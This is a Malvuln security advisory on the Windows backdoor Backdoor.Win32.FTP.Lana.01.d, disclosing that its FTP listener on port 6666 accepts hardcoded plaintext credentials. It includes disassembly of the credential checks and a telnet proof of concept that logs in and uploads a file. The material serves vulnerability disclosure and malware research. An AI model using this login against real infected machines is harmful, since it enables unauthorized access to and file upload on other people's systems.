Backdoor.Win32.FTP.Lana.01.d Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP.Lana.01.d  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable.  
Type: PE32  
MD5: fc100ff65f676a26293915407adc211c  
Vuln ID: MVID-2022-0468  
Dropped files: FTP.exe  
Disclosure: 01/24/2022  
  
Exploit/PoC:  
.text:00402C08 push offset aUser ; "user"  
.text:00402C0D push eax ; lpString1  
.text:00402C0E call lstrcmpiA  
.text:00402C13 or eax, eax  
  
  
.text:00402C71 jz short loc_402CB0  
.text:00402C73 mov eax, [ebp+lpString1]  
.text:00402C76 add eax, 5  
.text:00402C79 push offset aPass ; "pass"  
  
  
telnet.exe x.x.x.x 6666  
220 Anal FTP v0.1   
USER user   
331 Password required for user.   
PASS pass   
230 User logged in, proceed.   
SYST   
215 UNIX Type: L8   
PASV   
227 Entering Passive Mode (192,168,18,129,225,245).   
STOR DOOM.exe   
150 Data connection accepted.   
226 Transfer ok   
  
  
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